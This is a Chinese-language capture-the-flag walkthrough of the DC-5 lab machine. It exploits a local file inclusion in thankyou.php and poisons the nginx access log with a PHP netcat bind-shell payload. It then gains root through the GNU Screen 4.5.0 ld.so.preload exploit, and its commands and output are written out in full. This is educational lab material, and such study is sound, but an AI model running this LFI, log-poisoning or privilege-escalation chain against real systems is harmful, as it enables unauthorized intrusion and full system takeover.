DC-5 靶机渗透
1.渗透过程
- 开始,扫描主机:
netdiscover -r 192.168.0.1/24
找到一个
192.168.0.149 00:0c:29:cb:31:5f 1 60 VMware, Inc.
扫端口:
nmap -sS -A -p- 192.168.0.149
- 扫描结果:
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-26 14:36 CST
Nmap scan report for 192.168.0.149
Host is up (0.0019s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 38192/tcp status
|_ 100024 1 47477/udp status
38192/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:CB:31:5F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
只有开启了
80 http 111:RPC 38192:RPC
在下载的时候看到的描述:
-
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
据我所知,只有一个可利用的入口点(也没有SSH)。这个特定的入口点可能很难识别,但它就在那里。你需要寻找一些不寻常的东西(随着页面刷新而改变的东西)。这将有希望提供一些关于脆弱性可能涉及到什么的想法。 我们需要寻找 >>
随着页面刷新而改变的东西
翻翻他的网页最后在 提交留言之后的页面 >>
http://192.168.0.149/thankyou.php?firstname=11&lastname=11&country=britain&subject=111
找到他的底部的
Copyright © 2019
年份会变化,那也不知道哪里有漏洞啊
先给他爆破个目录:
然后爆出来:
200 OK-----http://192.168.0.149//index.php
200 OK-----http://192.168.0.149//contact.php
200 OK-----http://192.168.0.149//faq.php
200 OK-----http://192.168.0.149//footer.php
前面的几个都在页面上有的
我们去看看这个:http://192.168.0.149//footer.php
内容和
thankyou.php
的底部一样的文字刷新一下年份也会变化
那可能就是
thankyou.php
包含了footer.php
也没啥区别,再试试 http://192.168.0.149/thankyou.php?file=/etc/passwd
发现底部包含进来了!!!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network
Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin
dc:x:1000:1000:dc,,,:/home/dc:/bin/bash mysql:x:108:113:MySQL
Server,,,:/nonexistent:/bin/false
有
本地文件包含漏洞(LFI)
好办了 ^_^我们试试日志注入:
前面
nmap
扫出web服务器是nginx 1.6.2
然后 nginx默认的访问日志在:
/var/log/nginx/access.log
直接输入: http://192.168.0.149/thankyou.php?file=/var/log/nginx/access.log 验证一下
真包含进来了~ (ps:前面的爆破会产生大量日志内容,可能导致读不出内容,建议在爆破之前给靶机来个快照)
我们直接用nc去连接他的80端口:
root@kali:~/workspace# nc 192.168.0.149 80
#直接写一个直连的shellcode
GET <?php system('nc -lvp 13123 -e /bin/bash');?> HTTP/1.1
#下面的自己生成的
HTTP/1.1 400 Bad Request
Server: nginx/1.6.2
Date: Sat, 25 Apr 2020 17:33:49 GMT
Content-Type: text/html
Content-Length: 172
Connection: close
# 返回信息:
<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.6.2</center>
</body>
</html>
然后我们再访问:http://192.168.0.149/thankyou.php?file=/var/log/nginx/access.log
这时候会一直加载出不来页面就说明成功了
服务器就会开启监听
13123
端口 ,直接用nc 192.168.0.149 13123
就可以得到shell 了得到shell了 再让他来个标准控制台
python -c 'import pty;pty.spawn("/bin/bash")'
得到标准控制台之后 就要想办法提权了
先看看用户目录,发现只有一个
dc
用户有用户目录里面啥也没有 再翻翻
/tmp
文件夹 也没先看看suid 的提权
find / -user root -perm -4000 -print 2>/dev/null
- 找出suid的文件
/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs
- 百度才知道 :
screen-4.5.0
有一个提权漏洞
root@kali# searchsploit screen 4.5.0
GNU Screen 4.5.0 - Local Privilege Escalation
| exploits/linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC)
| exploits/linux/local/41152.txt
找到两个文件 直接用那个sh文件吧
可以到自己的kali 运行一下,会产生两个文件并获得
rootshell
-rwxr-xr-x 1 root root 1152 4月 26 15:57 41154.sh
-rwxr-xr-x 1 root root 16136 4月 26 15:57 libhax.so
-rwxr-xr-x 1 root root 16824 4月 26 15:57 rootshell
然后我们用kali写一个sh文件:
vim /tmp/run.sh
内容是:
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
- 我们用 scp 拷贝到靶机里去
scp root@192.168.0.21:/tmp/libhax.so /tmp
#然后输入kali的密码
scp root@192.168.0.21:/tmp/rootshell /tmp
#然后输入kali的密码
scp root@192.168.0.21:/tmp/run.sh /tmp
- 然后依次执行下面的语句或者写成shell脚本
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
给他个执行权限并运行
cd /tmp;chmod +x run.sh;./run.sh
就可以得到一个
rootshell
了:
www-data@dc-5:~$ cd /tmp;chmod +x run.sh;./run.sh
cd /tmp;chmod +x run.sh;./run.sh
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
- flag 就在
/root
下的thisistheflag.txt
文件